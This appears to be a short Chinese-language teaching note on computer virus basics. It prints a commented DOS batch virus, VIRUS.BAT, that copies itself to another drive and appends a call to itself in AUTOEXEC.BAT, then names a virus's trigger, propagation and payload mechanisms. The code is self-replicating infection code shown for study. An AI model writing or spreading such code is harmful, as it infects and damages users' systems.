CV预备知识-CV基本结构
-
简单的病毒的示例
病毒示例代码如下(REM表示注释):
ECHO OFF REM关闭命令回显
REM 文件名 VIRUS.BAT
REM 本病毒感染自动执行批处理文件
IF %DRIVE%==A:\ GOTO END123 REM A表示软盘
IF %DRIVE%==C:\ GOTO END123 REM 判断是否存在病毒感染标记,若已经
REM 感染就跳转到标号处结束程序
IF %COMSPEC%==C:\COMMAND.COM SET DRIVE=A:\
IF %COMSPEC%= =A:\COMMAND.COM SET DRIVE=C:\
REM computer从硬盘启动时就将感染目标设置在软盘
IF NOT EXIST %DRIVE%AUTOEXEC.BAT GOTO END123 REM 主要感染AUTOEXEC.BAT
COPY VIRUS.BAT %DRIVE%>NUL REM >NUL表示没有提示
ECHO CALL VIRUS>TMP.DAT REM 写命令CALL VIRUS到 TMP.DAT文件中
COPY %DRIVE%AUTOEXEC.BAT+TMP.DAT %DRIVE%AUTOEXEC.BAT >NUL REM 感染
DEL TMP.DAT>NUL REM 清除零时数据没有提示
Echo BAT Virus Test! I will format your Disk!
: END123
ECHO ON
-
病毒的逻辑结构
病毒的三个机制:触发机制,传播机制,表现机制(破坏模块)。